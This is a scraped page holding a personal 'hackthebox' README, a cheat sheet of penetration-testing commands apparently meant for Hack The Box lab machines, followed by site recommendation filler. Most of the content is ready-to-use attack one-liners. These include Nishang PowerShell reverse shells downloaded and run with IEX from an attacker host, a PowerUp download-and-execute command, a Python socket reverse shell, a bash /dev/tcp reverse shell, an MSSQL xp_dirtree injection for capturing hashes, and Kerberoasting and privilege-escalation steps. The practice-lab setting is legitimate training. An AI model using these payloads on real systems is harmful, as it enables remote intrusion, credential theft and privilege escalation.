Git Product home page Git Product logo

hackthebox's Introduction

Tools & Techniques

Nishang To get a sheel from an entry point where cmd is working or the entry point is a cmd

cp /opt/nishang/Shells/Invoke-PowershellTcp.ps1 nishang.ps1 gedit nishang.ps1 Invoke-PowershellTcp -Reverse -IpAdress ... -Port * python -m SimpleHTTPServer nc -lvnp *

In cmd: powershell "IEX(New-Object Net.WebClient).downloadString('http://...:*/nishang.ps1')"

Linux To get a better shell: python -c 'import pty;pty.spawn("/bin/bash");' to list suid binary file: find / -perm -u=s -type f 2>/dev/null -exec ls -l {} ;

Windows to convert in base64 with UTF-16LE encoding echo -n "Hello World" | iconv --to-code UTF-16LE | base64 -w 0

Tools Shell and Crack Unicorn.py : https://github.com/trustedsec/unicorn
Empire.py : https://github.com/EmpireProject/Empire JAWS : https://github.com/411Hall/JAWS (Windows Enumeration Tools) zip2john : https://github.com/piyushcse29/john-the-ripper/blob/master/src/zip2john.c (To crack zipped password)

Steganography tools zsteg,steghide,binwalk.strings,file,foremost

Other tools readpst,mdb-shell,mdb-sql

Reading smbshare from mssql service using xp_dirtree: ;declare @q varchar(200);set @q=";your_ip\test";exec master.dbo.xp_dirtree @q;--

Techniques To download all files from ftp server: wget -m --no-passive ftp://username:[email protected]

To login in imap server using openssl: openssl s_client -connect chaos.htb:993 link which can help:http://blog.viggy.in/?p=9 Linux enumerarion help: https://www.rebootuser.com/?p=1623#.V5QOe7grKUl

To find S3 bucket of the program, I used nahamsec‘s lazys3. Command: ruby lazys3.rb site_name https://github.com/ehsahil/recon-my-way/tree/master/lazys3

Openssl : openssl req -x509 -new -nodes -key abc.key -sha256 -days 1024 -out abcd.pem openssl req -new -newkey rsa:2048 -nodes -out abc.csr -keyout abcd.key openssl pkcs12 -export -in asdf.pem -inkey ca.key -out server.p12

SMB part: smbclient -L //ip {smb shares} smbmap -H ip

Windows Nishang Rbash like thingy: powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://:8000/Invoke-PowerShellTcp.ps1')" powershell -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.x.x:port/PowerUp.ps1');Invoke-AllChecks"

Kerberoasting:: use nishang Reverse shell use powerview to load encode the password : $SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword) Invoke-UserImpersonation -Credential $Cred Invoke-kerberoast | fl { default format of key is john but format can be changed in hashcat}

Python shell payload : python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("ip",port,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");';

Reverse Shell using terminal: command = sudo bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"

Wfuzz Redcross.htb: wfuzz --hw 28 -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-5000.txt -H "HOST:FUZZ.redcross.htb" https://redcross.htb

hackthebox's People

Contributors

nihalrai avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.